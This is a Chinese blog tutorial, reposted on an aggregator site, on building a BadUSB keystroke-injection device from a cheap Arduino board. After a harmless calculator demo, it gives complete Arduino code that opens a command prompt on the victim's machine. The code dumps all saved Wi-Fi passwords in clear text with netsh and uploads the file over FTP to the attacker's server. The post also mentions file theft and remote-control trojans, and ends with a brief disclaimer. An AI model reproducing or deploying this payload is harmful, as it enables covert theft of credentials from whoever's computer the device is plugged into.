码迷,mamicode.com
首页 > 其他好文 > 详细

BadUSB制作-详细指南

时间:2017-11-02 01:00:34      阅读:1294      评论:0      收藏:0      [点我收藏+]

标签:image   win   切换   开机自启   点击   自动   开发   sharp   arp   

因为一些因素,所以近期接触到了badusb,官方话还是要说,科普话也同样要说

“BadUSB”是计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在BlackHat安全大会上公布。BadUSB号称是世界上最邪恶的USB外设。

首先买了一块板子,没错就是这种三四十块的,虽然外形很难让人接受,如果做社工的话建议多花十块,买个带壳子的!

技术分享

开发工具,没错就是这货

技术分享

插入我们买的板子,点击工具-获取开发板信息

 技术分享

然后再工具,选择我们刚刚得到的信息

技术分享

好了   准备工作已经齐活了。开始工作吧

先简单的举一个弹计算器的例子

#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press(‘r‘);//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r‘);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CALC");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯 
}
 
void loop()//循环
{

}

  点击1,再点击2

技术分享

这个时候就一个badusb就已经制作好了,插入电脑后会自动打开计算器

技术分享

---------------------------分割线------------------------------------

这都是比较低级的,还能做什么呢?像窃取文件啦。木马远控了

不过这些就需要配合一些其他的东西。就是一个虚拟主机,淘宝上也是十几块钱吧

以wifi密码窃取为例

让我们先看一下代码

#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press(‘r‘);//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r‘);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("for /f \"skip=9 tokens=1,2 delims=:\" %i in (‘netsh wlan show profiles‘) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >>d:/wifi.txt"));
//这段代码的功能是把你电脑保存的wifi密码输出出来。保存到一个txt文件里面
delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); //这里我关闭了大小写 delay(500); Keyboard.press(KEY_LEFT_SHIFT); //现在的输入法默认的都是开机自启汉字选项,我利用shift给他切换一下 Keyboard.release(KEY_LEFT_SHIFT); delay(500); Keyboard.print(F("ftp xxxxxxxx")); //这是你的ftp服务器地址 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("xxxxxx")); //用户名 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("xxxxxx")); //密码 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("put d:/wifi.txt")); //上传刚才的wifi文件 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("bye")); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("exit"));//结束 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }

  

这个时候电脑保存的密码就上传到了你的服务器上   
----------------------------分割--------------------------

现在网上的好多源码是不同语言写的,比如这样

技术分享

 

 

这是一个在线的转换网站
http://www.lotqu.com/script.html

不过转换结束之后他的源代码是

type  KEY_RETURN  

  

这代表着是按回车键,松开回车键,但是在这个编辑器中是无法编译的,需要修改为一下的形式

Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);

-------------------------------分割------------------------

多实验几次  。弄点其他的花样,其实这个就是模拟一个键盘的操作,可以说能作非常多的事
 --------------------------------分割线------------------------------------------

 

不要做坏事,本文章仅供教学了解。请不要做非法的事情。

 

BadUSB制作-详细指南

标签:image   win   切换   开机自启   点击   自动   开发   sharp   arp   

原文地址:http://www.cnblogs.com/JeSSee/p/7738148.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!